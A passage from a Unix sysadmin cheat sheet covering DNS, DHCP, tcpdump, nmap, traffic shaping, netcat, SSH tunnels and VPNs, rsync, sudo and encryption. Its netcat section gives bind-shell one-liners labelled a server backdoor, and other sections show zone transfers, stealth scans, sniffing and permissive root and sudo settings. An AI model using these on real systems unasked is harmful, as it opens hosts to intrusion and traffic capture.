    # dig AXFR @ns1.xname.org cb.vu      # Get the full zone (zone transfer)
    
    
[/code]

The program host is also powerful.

[code]

    # host -t MX cb.vu                   # Get the mail MX entry
    # host -t NS -T sun.com              # Get the NS record over a TCP connection
    # host -a sleepyowl.net              # Get everything
    
    
[/code]

### Reverse queries

Find the name belonging to an IP address \(in-addr.arpa.\). This can be done
with `dig`, `host` and `nslookup`:

[code]

    # dig -x 78.31.70.238
    # host 78.31.70.238
    # nslookup 78.31.70.238
    
    
[/code]

### /etc/hosts

Single hosts can be configured in the file /etc/hosts instead of running
`named` locally to resolve the hostname queries. The format is simple, for
example:

[code]

    78.31.70.238   sleepyowl.net   sleepyowl
    
[/code]

The priority between hosts and a dns query, that is the name resolution order,
can be configured in `/etc/nsswitch.conf` AND /etc/host.conf. The file also
exists on Windows, it is usually in:

[code]

    C:\WINDOWS\SYSTEM32\DRIVERS\ETC
    
[/code]

## DHCP

### Linux

Some distributions \(SuSE\) use dhcpcd as client. The default interface is
eth0.

[code]

    # dhcpcd -n eth0           # Trigger a renew (does not always work)
    # dhcpcd -k eth0           # release and shutdown
    
    
[/code]

The lease with the full information is stored in:

[code]

    /var/lib/dhcpcd/dhcpcd-eth0.info
    
[/code]

### FreeBSD

FreeBSD \(and Debian\) uses dhclient. To configure an interface \(for example
bge0\) run:

[code]

    # dhclient bge0
    
[/code]

The lease with the full information is stored in:

[code]

    /var/db/dhclient.leases.bge0
    
[/code]

Use

[code]

    /etc/dhclient.conf
    
[/code]

to prepend options or force different options:

[code]

    # cat /etc/dhclient.conf
    interface "rl0" {
        prepend domain-name-servers 127.0.0.1;
        default domain-name "sleepyowl.net";
        supersede domain-name "sleepyowl.net";
    }
    
    
[/code]

### Windows

The dhcp lease can be renewed with `ipconfig`:

[code]

    # ipconfig /renew          # renew all adapters
    # ipconfig /renew LAN      # renew the adapter named "LAN"
    # ipconfig /release WLAN   # release the adapter named "WLAN"
    
    
[/code]

Yes it is a good idea to rename you adapter with simple names\!

## Traffic analysis

Bmon is a small console bandwidth monitor and can display the flow on
different interfaces.

### Sniff with tcpdump

[code]

    # tcpdump -nl -i bge0 not port ssh and src \(192.168.16.121 or 192.168.16.54\)
    # tcpdump -n -i eth1 net 192.168.16.121           # select to/from a single IP
    # tcpdump -n -i eth1 net 192.168.16.0/24          # select traffic to/from a network
    # tcpdump -l > dump && tail -f dump               # Buffered output
    # tcpdump -i rl0 -w traffic.rl0                   # Write traffic headers in binary file
    # tcpdump -i rl0 -s 0 -w traffic.rl0              # Write traffic + payload in binary file
    # tcpdump -r traffic.rl0                          # Read from file (also for ethereal
    # tcpdump port 80                                 # The two classic commands
    # tcpdump host google.com
    # tcpdump -i eth0 -X port \(110 or 143\)          # Check if pop or imap is secure
    # tcpdump -n -i eth0 icmp                         # Only catch pings
    # tcpdump -i eth0 -s 0 -A port 80 | grep GET      # -s 0 for full packet -A for ASCII
    
    
[/code]

Additional important options:

  * `-A` Print each packets in clear text \(without header\)
  * `-X` Print packets in hex and ASCII
  * `-l` Make stdout line buffered
  * `-D` Print all interfaces available

On Windows use windump from www.winpcap.org. Use windump -D to list the
interfaces.

### Scan with nmap

Nmap is a port scanner with OS detection, it is usually installed on most
distributions and is also available for Windows. If you don't scan your
servers, hackers do it for you...

[code]

    # nmap cb.vu               # scans all reserved TCP ports on the host
    # nmap -sP 192.168.16.0/24 # Find out which IP are used and by which host on 0/24
    # nmap -sS -sV -O cb.vu    # Do a stealth SYN scan with version and OS detection
    PORT      STATE  SERVICE             VERSION
    22/tcp    open   ssh                 OpenSSH 3.8.1p1 FreeBSD-20060930 (protocol 2.0)
    25/tcp    open   smtp                Sendmail smtpd 8.13.6/8.13.6
    80/tcp    open   http                Apache httpd 2.0.59 ((FreeBSD) DAV/2 PHP/4.
    [...]
    Running: FreeBSD 5.X
    Uptime 33.120 days (since Fri Aug 31 11:41:04 2007)
    
    
[/code]

Other non standard but useful tools are `hping` \(www.hping.org\) an IP packet
assembler/analyzer and `fping` \(fping.sourceforge.net\). fping can check
multiple hosts in a round-robin fashion.

## Traffic control \(QoS\)

Traffic control manages the queuing, policing, scheduling, and other traffic
parameters for a network. The following examples are simple practical uses of
the Linux and FreeBSD capabilities to better use the available bandwidth.

### Limit upload

DSL or cable modems have a long queue to improve the upload throughput.
However filling the queue with a fast device \(e.g. ethernet\) will
dramatically decrease the interactivity. It is therefore useful to limit the
device upload rate to match the physical capacity of the modem, this should
greatly improve the interactivity. Set to about 90% of the modem maximal
\(cable\) speed.

#### Linux

For a 512 Kbit upload modem.

[code]

    # tc qdisc add dev eth0 root tbf rate 480kbit latency 50ms burst 1540
    # tc -s qdisc ls dev eth0                         # Status
    # tc qdisc del dev eth0 root                      # Delete the queue
    # tc qdisc change dev eth0 root tbf rate 220kbit latency 50ms burst 1540
    
    
[/code]

#### FreeBSD

FreeBSD uses the `dummynet` traffic shaper which is configured with ipfw.
Pipes are used to set limits the bandwidth in units of
\[K|M\]\{bit/s|Byte/s\}, 0 means unlimited bandwidth. Using the same pipe
number will reconfigure it. For example limit the upload bandwidth to 500
Kbit.

[code]

    # kldload dummynet                                # load the module if necessary
    # ipfw pipe 1 config bw 500Kbit/s                 # create a pipe with limited bandwidth
    # ipfw add pipe 1 ip from me to any               # divert the full upload into the pipe
    
    
[/code]

### Quality of service

#### Linux

Priority queuing with `tc` to optimize VoIP. See the full example on voip-
info.org or www.howtoforge.com. Suppose VoIP uses udp on ports 10000:11024 and
device eth0 \(could also be ppp0 or so\). The following commands define the
QoS to three queues and force the VoIP traffic to queue 1 with QoS `0x1e`
\(all bits set\). The default traffic flows into queue 3 and QoS  _Minimize-
Delay_ flows into queue 2.

[code]

    # tc qdisc add dev eth0 root handle 1: prio priomap 2 2 2 2 2 2 2 2 1 1 1 1 1 1 1 0
    # tc qdisc add dev eth0 parent 1:1 handle 10: sfq
    # tc qdisc add dev eth0 parent 1:2 handle 20: sfq
    # tc qdisc add dev eth0 parent 1:3 handle 30: sfq
    # tc filter add dev eth0 protocol ip parent 1: prio 1 u32 \
      match ip dport 10000 0x3C00 flowid 1:1          # use server port range
      match ip dst 123.23.0.1 flowid 1:1              # or/and use server IP
    
    
[/code]

Status and remove with

[code]

    # tc -s qdisc ls dev eth0                         # queue status
    # tc qdisc del dev eth0 root                      # delete all QoS
    
    
[/code]

#### Calculate port range and mask

The tc filter defines the port range with port and mask which you have to
calculate. Find the 2^N  _ending_ of the port range, deduce the range and
convert to HEX. This is your mask. Example for 10000 -> 11024, the range is
1024.

[code]

    # 2^13 (8192) < 10000 < 2^14 (16384)              # ending is 2^14 = 16384
    # echo "obase=16;(2^14)-1024" | bc                # mask is 0x3C00
    
    
[/code]

#### FreeBSD

The max link bandwidth is 500Kbit/s and we define 3 queues with priority
100:10:1 for VoIP:ssh:all the rest.

[code]

    # ipfw pipe 1 config bw 500Kbit/s 
    # ipfw queue 1 config pipe 1 weight 100
    # ipfw queue 2 config pipe 1 weight 10
    # ipfw queue 3 config pipe 1 weight 1
    # ipfw add 10 queue 1 proto udp dst-port 10000-11024
    # ipfw add 11 queue 1 proto udp dst-ip 123.23.0.1 # or/and use server IP
    # ipfw add 20 queue 2 dsp-port ssh
    # ipfw add 30 queue 3 from me to any              # all the rest
    
    
[/code]

Status and remove with

[code]

    # ipfw list                                       # rules status
    # ipfw pipe list                                  # pipe status
    # ipfw flush                                      # deletes all rules but default
    
    
[/code]

## NIS Debugging

Some commands which should work on a well configured NIS client:

[code]

    # ypwhich                  # get the connected NIS server name
    # domainname               # The NIS domain name as configured
    # ypcat group              # should display the group from the NIS server
    # cd /var/yp && make       # Rebuild the yp database
    # rpcinfo -p servername    # Report RPC services of the server
    
    
[/code]

Is ypbind running?

[code]

    # ps auxww | grep ypbind
    /usr/sbin/ypbind -s -m -S servername1,servername2       # FreeBSD
    /usr/sbin/ypbind           # Linux
    # yppoll passwd.byname
    Map passwd.byname has order number 1190635041. Mon Sep 24 13:57:21 2007
    The master server is servername.domain.net.
    
    
[/code]

### Linux

[code]

    # cat /etc/yp.conf
    ypserver servername
    domain domain.net broadcast
    
    
[/code]

## Netcat

Netcat \(nc\) is better known as the "network Swiss Army Knife", it can
manipulate, create or read/write TCP/IP connections. Here some useful
examples, there are many more on the net, for example g-loaded.eu\[...\] and
here.  
You might need to use the command `netcat` instead of `nc`. Also see the
similar command socat.

### File transfer

Copy a large folder over a raw tcp connection. The transfer is very quick \(no
protocol overhead\) and you don't need to mess up with NFS or SMB or FTP or
so, simply make the file available on the server, and get it from the client.
Here 192.168.1.1 is the server IP address.

[code]

    server# tar -cf - -C VIDEO_TS . | nc -l -p 4444         # Serve tar folder on port 4444
    client# nc 192.168.1.1 4444 | tar xpf - -C VIDEO_TS     # Pull the file on port 4444
    server# cat largefile | nc -l 5678                      # Server a single file
    client# nc 192.168.1.1 5678 > largefile                 # Pull the single file
    server# dd if=/dev/da0 | nc -l 4444                     # Server partition image
    client# nc 192.168.1.1 4444 | dd of=/dev/da0            # Pull partition to clone
    client# nc 192.168.1.1 4444 | dd of=da0.img             # Pull partition to file
    
    
[/code]

### Other hacks

Specially here, you must know what you are doing.

#### Remote shell

Option -e only on the Windows version? Or use nc 1.10.

[code]

    # nc -lp 4444 -e /bin/bash                        # Provide a remote shell (server backdoor)
    # nc -lp 4444 -e cmd.exe                          # remote shell for Windows
    
    
[/code]

#### Emergency web server

Serve a single file on port 80 in a loop.

[code]

    # while true; do nc -l -p 80 < unixtoolbox.xhtml; done
    
    
[/code]

#### Chat

Alice and Bob can chat over a simple TCP socket. The text is transferred with
the enter key.

[code]

    alice# nc -lp 4444
    bob  # nc 192.168.1.1 4444
    
    
[/code]

# SSH SCP

Public key | Fingerprint | SCP | Tunneling
## Public key authentication

Connect to a host without password using public key authentication. The idea
is to append your public key to the authorized\_keys2 file on the remote host.
For this example let's **connect  _host-client_ to  _host-server_** , the key
is generated on the client. With cygwin you might have to create your home
directoy and the .ssh directory with `# mkdir -p /home/USER/.ssh`

  * Use ssh-keygen to generate a key pair. `~/.ssh/id_dsa` is the private key, `~/.ssh/id_dsa.pub` is the public key.
  * Copy only the public key to the server and append it to the file `~/.ssh/authorized_keys2` on your home on the server.

[code]

    # ssh-keygen -t dsa -N ''
    # cat ~/.ssh/id_dsa.pub | ssh you@host-server "cat - >> ~/.ssh/authorized_keys2"
    
    
[/code]

### Using the Windows client from ssh.com

The non commercial version of the ssh.com client can be downloaded the main
ftp site: ftp.ssh.com/pub/ssh/. Keys generated by the ssh.com client need to
be converted for the OpenSSH server. This can be done with the ssh-keygen
command.

  * Create a key pair with the ssh.com client: Settings - User Authentication - Generate New....
  * I use Key type DSA; key length 2048.
  * Copy the public key generated by the ssh.com client to the server into the ~/.ssh folder.
  * The keys are in C:\Documents and Settings\%USERNAME%\Application Data\SSH\UserKeys.
  * Use the ssh-keygen command on the server to convert the key:
[code]    # cd ~/.ssh

    # ssh-keygen -i -f keyfilename.pub >> authorized_keys2
    
    
[/code]

_Notice:_ We used a DSA key, RSA is also possible. The key is not protected by
a password.

### Using putty for Windows

Putty is a simple and free ssh client for Windows.

  * Create a key pair with the puTTYgen program.
  * Save the public and private keys \(for example into C:\Documents and Settings\%USERNAME%\\.ssh\).
  * Copy the public key to the server into the ~/.ssh folder:
[code]    # scp .ssh/puttykey.pub root@192.168.51.254:.ssh/

    
[/code]

  * Use the ssh-keygen command on the server to convert the key for OpenSSH:
[code]    # cd ~/.ssh

    # ssh-keygen -i -f puttykey.pub >> authorized_keys2
    
    
[/code]

  * Point the private key location in the putty settings: Connection - SSH - Auth

## Check fingerprint

At the first login, ssh will ask if the unknown host with the fingerprint has
to be stored in the known hosts. To avoid a man-in-the-middle attack the
administrator of the server can send you the server fingerprint which is then
compared on the first login. Use `ssh-keygen -l` to get the fingerprint \(on
the server\):

[code]

    # ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub      # For RSA key
    2048 61:33:be:9b:ae:6c:36:31:fd:83:98:b7:99:2d:9f:cd /etc/ssh/ssh_host_rsa_key.pub
    # ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub      # For DSA key (default)
    2048 14:4a:aa:d9:73:25:46:6d:0a:48:35:c7:f4:16:d4:ee /etc/ssh/ssh_host_dsa_key.pub
    
    
[/code]

Now the client connecting to this server can verify that he is connecting to
the right server:

[code]

    # ssh linda
    The authenticity of host 'linda (192.168.16.54)' can't be established.
    DSA key fingerprint is 14:4a:aa:d9:73:25:46:6d:0a:48:35:c7:f4:16:d4:ee.
    Are you sure you want to continue connecting (yes/no)? yes
    
    
[/code]

## Secure file transfer

Some simple commands:  

[code]

    # scp file.txt host-two:/tmp
    # scp joe@host-two:/www/*.html /www/tmp
    # scp -r joe@host-two:/www /www/tmp
    
    
[/code]

In Konqueror or Midnight Commander it is possible to access a remote file
system with the address **fish://user@gate**. However the implementation is
very slow.  
Furthermore it is possible to mount a remote folder with **sshfs** a file
system client based on SCP. See fuse sshfs.

## Tunneling

SSH tunneling allows to forward or reverse forward a port over the SSH
connection, thus securing the traffic and accessing ports which would
otherwise be blocked. This only works with TCP. The general nomenclature for
forward and reverse is \(see also ssh and NAT example\):

[code]

    # ssh -L localport:desthost:destport user@gate  # desthost as seen from the gate
    # ssh -R destport:desthost:localport user@gate  # forwards your localport to destination
        # desthost:localport as seen from the client initiating the tunnel
    # ssh -X user@gate   # To force X forwarding
    
    
[/code]

This will connect to gate and forward the local port to the host
desthost:destport. Note desthost is the destination host  _as seen by the
gate_ , so if the connection is to the gate, then desthost is localhost. More
than one port forward is possible.

### Direct forward on the gate

Let say we want to access the CVS \(port 2401\) and http \(port 80\) which are
running on the gate. This is the simplest example, desthost is thus localhost,
and we use the port 8080 locally instead of 80 so we don't need to be root.
Once the ssh session is open, both services are accessible on the local ports.

[code]

    # ssh -L 2401:localhost:2401 -L 8080:localhost:80 user@gate
    
[/code]

### Netbios and remote desktop forward to a second server

Let say a Windows smb server is behind the gate and is not running ssh. We
need access to the smb share and also remote desktop to the server.

[code]

    # ssh -L 139:smbserver:139 -L 3388:smbserver:3389 user@gate
    
[/code]

The smb share can now be accessed with \\\127.0.0.1\, but only if the local
share is disabled, because  _the local share is listening on port 139_.  
It is possible to keep the local share enabled, for this we need to create a
new virtual device with a new IP address for the tunnel, the smb share will be
connected over this address. Furthermore  _the local RDP is already listening
on 3389_ , so we choose 3388. For this example let's use a virtual IP of
10.1.1.1.  

  * With putty use Source port=10.1.1.1:139. It is possible to create multiple loop devices and tunnel. On Windows 2000, only putty worked for me. On Windows Vista also forward the port 445 in addition to the port 139. Also on Vista the patch KB942624 prevents the port 445 to be forwarded, so I had to uninstall this path in Vista.
  * With the ssh.com client, disable "Allow local connections only". Since ssh.com will bind to all addresses, only a single share can be connected.

Now create the loopback interface with IP 10.1.1.1:

  * \# System->Control Panel->Add Hardware \# Yes, Hardware is already connected \# Add a new hardware device \(at bottom\).
  * \# Install the hardware that I manually select \# Network adapters \# Microsoft , Microsoft Loopback Adapter.
  * Configure the IP address of the fake device to 10.1.1.1 mask 255.255.255.0, no gateway.
  * advanced->WINS, Enable LMHosts Lookup; Disable NetBIOS over TCP/IP.
  * \# Enable Client for Microsoft Networks. \# Disable File and Printer Sharing for Microsoft Networks.

I HAD to reboot for this to work. Now connect to the smb share with
\\\10.1.1.1 and remote desktop to 10.1.1.1:3388.

#### Debug

If it is not working:

  * Are the ports forwarded: netstat -an? Look at 0.0.0.0:139 or 10.1.1.1:139
  * Does telnet 10.1.1.1 139 connect?
  * You need the checkbox "Local ports accept connections from other hosts".
  * Is "File and Printer Sharing for Microsoft Networks" disabled on the loopback interface?

### Connect two clients behind NAT

Suppose two clients are behind a NAT gateway and client cliadmin has to
connect to client cliuser \(the destination\), both can login to the gate with
ssh and are running Linux with sshd. You don't need root access anywhere as
long as the ports on gate are above 1024. We use 2022 on gate. Also since the
gate is used locally, the option GatewayPorts is not necessary.  
On client cliuser \(from destination to gate\):

[code]

    # ssh -R 2022:localhost:22 user@gate            # forwards client 22 to gate:2022
    
[/code]

On client cliadmin \(from host to gate\):

[code]

    # ssh -L 3022:localhost:2022 admin@gate         # forwards client 3022 to gate:2022
    
[/code]

Now the admin can connect directly to the client cliuser with:

[code]

    # ssh -p 3022 admin@localhost                   # local:3022 -> gate:2022 -> client:22
    
[/code]

### Connect to VNC behind NAT

Suppose a Windows client with VNC listening on port 5900 has to be accessed
from behind NAT. On client cliwin to gate:

[code]

    # ssh -R 15900:localhost:5900 user@gate
    
[/code]

On client cliadmin \(from host to gate\):

[code]

    # ssh -L 5900:localhost:15900 admin@gate
    
[/code]

Now the admin can connect directly to the client VNC with:

[code]

    # vncconnect -display :0 localhost
    
[/code]

### Dig a multi-hop ssh tunnel

Suppose you can not reach a server directly with ssh, but only via multiple
intermediate hosts \(for example because of routing issues\). Sometimes it is
still necessary to get a direct client - server connection, for example to
copy files with scp, or forward other ports like smb or vnc. One way to do
this is to chain tunnels together to forward a port to the server along the
hops. This "carrier" port only reaches its final destination on the last
connection to the server.  
Suppose we want to forward the ssh port from a client to a server over two
hops. Once the tunnel is build, it is possible to connect to the server
directly from the client \(and also add an other port forward\).

#### Create tunnel in one shell

client -> host1 -> host2 -> server and dig tunnel 5678

[code]

    client># ssh -L5678:localhost:5678 host1        # 5678 is an arbitrary port for the tunnel
    host_1># ssh -L5678:localhost:5678 host2        # chain 5678 from host1 to host2
    host_2># ssh -L5678:localhost:22 server         # end the tunnel on port 22 on the server
    
    
[/code]

#### Use tunnel with an other shell

client -> server using tunnel 5678

[code]

    # ssh -p 5678 localhost                         # connect directly from client to  server
    # scp -P 5678 myfile localhost:/tmp/            # or copy a file directly using the tunnel
    # rsync -e 'ssh -p 5678' myfile localhost:/tmp/ # or rsync a file directly to the server
    
    
[/code]

### Autoconnect and keep alive script

I use variations of the following script to keep a machine reacheable over a
reverse ssh tunnel. The connection is automatically rebuilt if closed. You can
add multiple `-L` or `-R` tunnels on one line.

[code]

    #!/bin/sh
    COMMAND="ssh -N -f -g -R 3022:localhost:22 colin@cb.vu"
    pgrep -f -x "$COMMAND" > /dev/null 2>&1 || $COMMAND
    exit 0
    
    
[/code]

[code]

    1 * * * * colin /home/colin/port_forward.sh     # crontab entry (here hourly)
    
[/code]

# VPN WITH SSH

As of version 4.3, OpenSSH can use the tun/tap device to encrypt a tunnel.
This is very similar to other TLS based VPN solutions like OpenVPN. One
advantage with SSH is that there is no need to install and configure
additional software. Additionally the tunnel uses the SSH authentication like
pre shared keys. The drawback is that the encapsulation is done over TCP which
might result in poor performance on a slow link. Also the tunnel is relying on
a single \(fragile\) TCP connection. This technique is very useful for a quick
IP based VPN setup. There is no limitation as with the single TCP port
forward, all layer 3/4 protocols like ICMP, TCP/UDP, etc. are forwarded over
the VPN. In any case, the following options are needed in the sshd\_conf file:

[code]

    PermitRootLogin yes
    PermitTunnel yes
    
    
[/code]

## Single P2P connection

Here we are connecting two hosts, hclient and hserver with a peer to peer
tunnel. The connection is  _started from hclient_ to hserver and is done as
root. The tunnel end points are 10.0.1.1 \(server\) and 10.0.1.2 \(client\)
and we create a device tun5 \(this could also be an other number\). The
procedure is very simple:

  * Connect with SSH using the tunnel option -w
  * Configure the IP addresses of the tunnel. Once on the server and once on the client.

### Connect to the server

Connection started on the client and commands are executed on the server.

#### Server is on Linux

[code]

    cli># ssh -w5:5 root@hserver
    srv># ifconfig tun5 10.0.1.1 netmask 255.255.255.252   # Executed on the server shell
    
    
[/code]

#### Server is on FreeBSD

[code]

    cli># ssh -w5:5 root@hserver
    srv># ifconfig tun5 10.0.1.1 10.0.1.2                  # Executed on the server shell
    
    
[/code]

### Configure the client

Commands executed on the client:

[code]

    cli># ifconfig tun5 10.0.1.2 netmask 255.255.255.252   # Client is on Linux
    cli># ifconfig tun5 10.0.1.2 10.0.1.1                  # Client is on FreeBSD
    
    
[/code]

The two hosts are now connected and can transparently communicate with any
layer 3/4 protocol using the tunnel IP addresses.

## Connect two networks

In addition to the p2p setup above, it is more useful to connect two private
networks with an SSH VPN using two gates. Suppose for the example, netA is
192.168.51.0/24 and netB 192.168.16.0/24. The procedure is similar as above,
we only need to add the routing. NAT must be activated on the private
interface only if the gates are not the same as the default gateway of their
network.  
192.168.51.0/24 \(netA\)|gateA <-> gateB|192.168.16.0/24 \(netB\)  

  * Connect with SSH using the tunnel option -w.
  * Configure the IP addresses of the tunnel. Once on the server and once on the client.
  * Add the routing for the two networks.
  * If necessary, activate NAT on the private interface of the gate.

The setup is  _started from gateA in netA_.

### Connect from gateA to gateB

Connection is started from gateA and commands are executed on gateB.

#### gateB is on Linux

[code]

    gateA># ssh -w5:5 root@gateB
    gateB># ifconfig tun5 10.0.1.1 netmask 255.255.255.252 # Executed on the gateB shell
    gateB># route add -net 192.168.51.0 netmask 255.255.255.0 dev tun5
    gateB># echo 1 > /proc/sys/net/ipv4/ip_forward        # Only needed if not default gw
    gateB># iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    
    
[/code]

#### gateB is on FreeBSD

[code]

    gateA># ssh -w5:5 root@gateB                          # Creates the tun5 devices
    gateB># ifconfig tun5 10.0.1.1 10.0.1.2               # Executed on the gateB shell
    gateB># route add 192.168.51.0/24 10.0.1.2
    gateB># sysctl net.inet.ip.forwarding=1               # Only needed if not default gw
    gateB># natd -s -m -u -dynamic -n fxp0                # see NAT
    gateA># sysctl net.inet.ip.fw.enable=1
    
    
[/code]

### Configure gateA

Commands executed on gateA:

#### gateA is on Linux

[code]

    gateA># ifconfig tun5 10.0.1.2 netmask 255.255.255.252
    gateA># route add -net 192.168.16.0 netmask 255.255.255.0 dev tun5
    gateA># echo 1 > /proc/sys/net/ipv4/ip_forward
    gateA># iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
    
    
[/code]

#### gateA is on FreeBSD

[code]

    gateA># ifconfig tun5 10.0.1.2 10.0.1.1
    gateA># route add 192.168.16.0/24 10.0.1.2
    gateA># sysctl net.inet.ip.forwarding=1
    gateA># natd -s -m -u -dynamic -n fxp0                # see NAT
    gateA># sysctl net.inet.ip.fw.enable=1
    
    
[/code]

The two private networks are now transparently connected via the SSH VPN. The
IP forward and NAT settings are only necessary if the gates are not the
default gateways. In this case the clients would not know where to forward the
response, and nat must be activated.

# RSYNC

Rsync can almost completely replace cp and scp, furthermore interrupted
transfers are efficiently restarted. A trailing slash \(and the absence
thereof\) has different meanings, the man page is good... Here some examples:  
Copy the directories with full content:

[code]

    # rsync -a /home/colin/ /backup/colin/                # "archive" mode. e.g keep the same
    # rsync -a /var/ /var_bak/
    # rsync -aR --delete-during /home/user/ /backup/      # use relative (see below)
    
    
[/code]

Same as before but over the network and with compression. Rsync uses SSH for
the transport per default and will use the ssh key if they are set. Use ":" as
with SCP. A typical remote copy:

[code]

    # rsync -axSRzv /home/user/ user@server:/backup/user/ # Copy to remote
    # rsync -a 'user@server:My\ Documents' My\ Documents  # Quote AND escape spaces for the remote shell
    
[/code]

Exclude any directory tmp within /home/user/ and keep the relative folders
hierarchy, that is the remote directory will have the structure
/backup/home/user/. This is typically used for backups.

[code]

    # rsync -azR --exclude=tmp/ /home/user/ user@server:/backup/
    
[/code]

Use port 20022 for the ssh connection:

[code]

    # rsync -az -e 'ssh -p 20022' /home/colin/ user@server:/backup/colin/
    
[/code]

Using the rsync daemon \(used with "::"\) is much faster, but not encrypted
over ssh. The location of /backup is defined by the configuration in
/etc/rsyncd.conf. The variable RSYNC\_PASSWORD can be set to avoid the need to
enter the password manually.

[code]

    # rsync -axSRz /home/ ruser@hostname::rmodule/backup/
    # rsync -axSRz ruser@hostname::rmodule/backup/ /home/    # To copy back
    
    
[/code]

Some important options:

  * `-a, --archive` archive mode; same as -rlptgoD \(no -H\)
  * `-r, --recursive` recurse into directories
  * `-R, --relative` use relative path names
  * `-H, --hard-links` preserve hard links
  * `-S, --sparse` handle sparse files efficiently
  * `-x, --one-file-system` don't cross file system boundaries
  * `--exclude=PATTERN` exclude files matching PATTERN
  * `--delete-during` receiver deletes during xfer, not before
  * `--delete-after` receiver deletes after transfer, not before

## Rsync on Windows

Rsync is available for Windows through cygwin or as stand-alone packaged in
cwrsync. This is very convenient for automated backups. Install one of them
\(_not both_\) and add the path to the Windows system variables: \# Control
Panel -> System -> tab Advanced, button Environment Variables. Edit the "Path"
system variable and add the full path to the installed rsync, e.g. C:\Program
Files\cwRsync\bin or C:\cygwin\bin. This way the commands `rsync` and `ssh`
are available in a Windows command shell.

### Public key authentication

Rsync is automatically tunneled over SSH and thus uses the SSH authentication
on the server. Automatic backups have to avoid a user interaction, for this
the SSH public key authentication can be used and the rsync command will run
without a password.  
All the following commands are executed within a Windows console. In a console
\(Start -> Run -> cmd\) create and upload the key as described in SSH, change
"user" and "server" as appropriate. If the file authorized\_keys2 does not
exist yet, simply copy id\_dsa.pub to authorized\_keys2 and upload it.

[code]

    # ssh-keygen -t dsa -N ''                   # Creates a public and a private key
    # rsync user@server:.ssh/authorized_keys2 . # Copy the file locally from the server
    # cat id_dsa.pub >> authorized_keys2        # Or use an editor to add the key
    # rsync authorized_keys2 user@server:.ssh/  # Copy the file back to the server
    # del authorized_keys2                      # Remove the local copy
    
    
[/code]

Now test it with \(in one line\):

[code]

    rsync -rv "/cygdrive/c/Documents and Settings/%USERNAME%/My Documents/" \
    'user@server:My\ Documents/'
    
    
[/code]

### Automatic backup

Use a batch file to automate the backup and add the file in the scheduled
tasks \(Programs -> Accessories -> System Tools -> Scheduled Tasks\). For
example create the file backup.bat and replace user@server.

[code]

    @ECHO OFF
    REM rsync the directory My Documents
    SETLOCAL
    SET CWRSYNCHOME=C:\PROGRAM FILES\CWRSYNC
    SET CYGWIN=nontsec
    SET CWOLDPATH=%PATH%
    REM uncomment the next line when using cygwin
    SET PATH=%CWRSYNCHOME%\BIN;%PATH%
    echo Press Control-C to abort
    rsync -av "/cygdrive/c/Documents and Settings/%USERNAME%/My Documents/" \
    'user@server:My\ Documents/'
    pause
    
    
[/code]

# SUDO

Sudo is a standard way to give users some administrative rights without giving
out the root password. Sudo is very useful in a multi user environment with a
mix of server and workstations. Simply call the command with sudo:

[code]

    # sudo /etc/init.d/dhcpd restart            # Run the rc script as root
    # sudo -u sysadmin whoami                   # Run cmd as an other user
    
    
[/code]

## Configuration

Sudo is configured in `/etc/sudoers` and must only be edited with `visudo`.
The basic syntax is \(the lists are comma separated\):

[code]

    user hosts = (runas) commands          # In /etc/sudoers
    
[/code]

  * `users` one or more users or %group \(like %wheel\) to gain the rights
  * `hosts` list of hosts \(or ALL\)
  * `runas` list of users \(or ALL\) that the command rule can be run as. It is enclosed in \( \)\!
  * `commands` list of commands \(or ALL\) that will be run as root or as \(runas\)

Additionally those keywords can be defined as alias, they are called
User\_Alias, Host\_Alias, Runas\_Alias and Cmnd\_Alias. This is useful for
larger setups. Here a sudoers example:

[code]

    # cat /etc/sudoers
    # Host aliases are subnets or hostnames.
    Host_Alias   DMZ     = 212.118.81.40/28
    Host_Alias   DESKTOP = work1, work2
    
    # User aliases are a list of users which can have the same rights
    User_Alias   ADMINS  = colin, luca, admin
    User_Alias   DEVEL   = joe, jack, julia
    Runas_Alias  DBA     = oracle,pgsql
    
    # Command aliases define the full path of a list of commands
    Cmnd_Alias   SYSTEM  = /sbin/reboot,/usr/bin/kill,/sbin/halt,/sbin/shutdown,/etc/init.d/
    Cmnd_Alias   PW      = /usr/bin/passwd [A-z]*, !/usr/bin/passwd root # Not root pwd!
    Cmnd_Alias   DEBUG   = /usr/sbin/tcpdump,/usr/bin/wireshark,/usr/bin/nmap
    
    
[/code]

[code]

    # The actual rules
    root,ADMINS  ALL     = (ALL) NOPASSWD: ALL    # ADMINS can do anything w/o a password.
    DEVEL        DESKTOP = (ALL) NOPASSWD: ALL    # Developers have full right on desktops
    DEVEL        DMZ     = (ALL) NOPASSWD: DEBUG  # Developers can debug the DMZ servers.
    
    # User sysadmin can mess around in the DMZ servers with some commands.
    sysadmin     DMZ     = (ALL) NOPASSWD: SYSTEM,PW,DEBUG
    sysadmin     ALL,!DMZ = (ALL) NOPASSWD: ALL   # Can do anything outside the DMZ.
    %dba         ALL     = (DBA) ALL              # Group dba can run as database user.
    
    # anyone can mount/unmount a cd-rom on the desktop machines
    ALL          DESKTOP = NOPASSWD: /sbin/mount /cdrom,/sbin/umount /cdrom
    
    
[/code]

# ENCRYPT FILES

## OpenSSL

### A single file

Encrypt and decrypt:

[code]

    # openssl aes-128-cbc -salt -in file -out file.aes
    # openssl aes-128-cbc -d -salt -in file.aes -out file
    
    
[/code]

Note that the file can of course be a tar archive.

### tar and encrypt a whole directory

[code]

    # tar -cf - directory | openssl aes-128-cbc -salt -out directory.tar.aes      # Encrypt
    # openssl aes-128-cbc -d -salt -in directory.tar.aes | tar -x -f -            # Decrypt
    
    
[/code]

### tar zip and encrypt a whole directory

[code]

    # tar -zcf - directory | openssl aes-128-cbc -salt -out directory.tar.gz.aes  # Encrypt
    # openssl aes-128-cbc -d -salt -in directory.tar.gz.aes | tar -xz -f -        # Decrypt
    
    
[/code]

  * Use -k mysecretpassword after aes-128-cbc to avoid the interactive password request. However note that this is highly insecure.
  * Use **aes-256-cbc** instead of **aes-128-cbc** to get even stronger encryption. This uses also more CPU.

## GPG

GnuPG is well known to encrypt and sign emails or any data. Furthermore gpg
and also provides an advanced key management system. This section only covers
files encryption, not email usage, signing or the Web-Of-Trust.  
The simplest encryption is with a symmetric cipher. In this case the file is
encrypted with a password and anyone who knows the password can decrypt it,
thus the keys are not needed. Gpg adds an extention ".gpg" to the encrypted
file names.

[code]

    # gpg -c file                        # Encrypt file with password
    # gpg file.gpg                       # Decrypt file (optionally -o otherfile)
    
    
[/code]

### Using keys

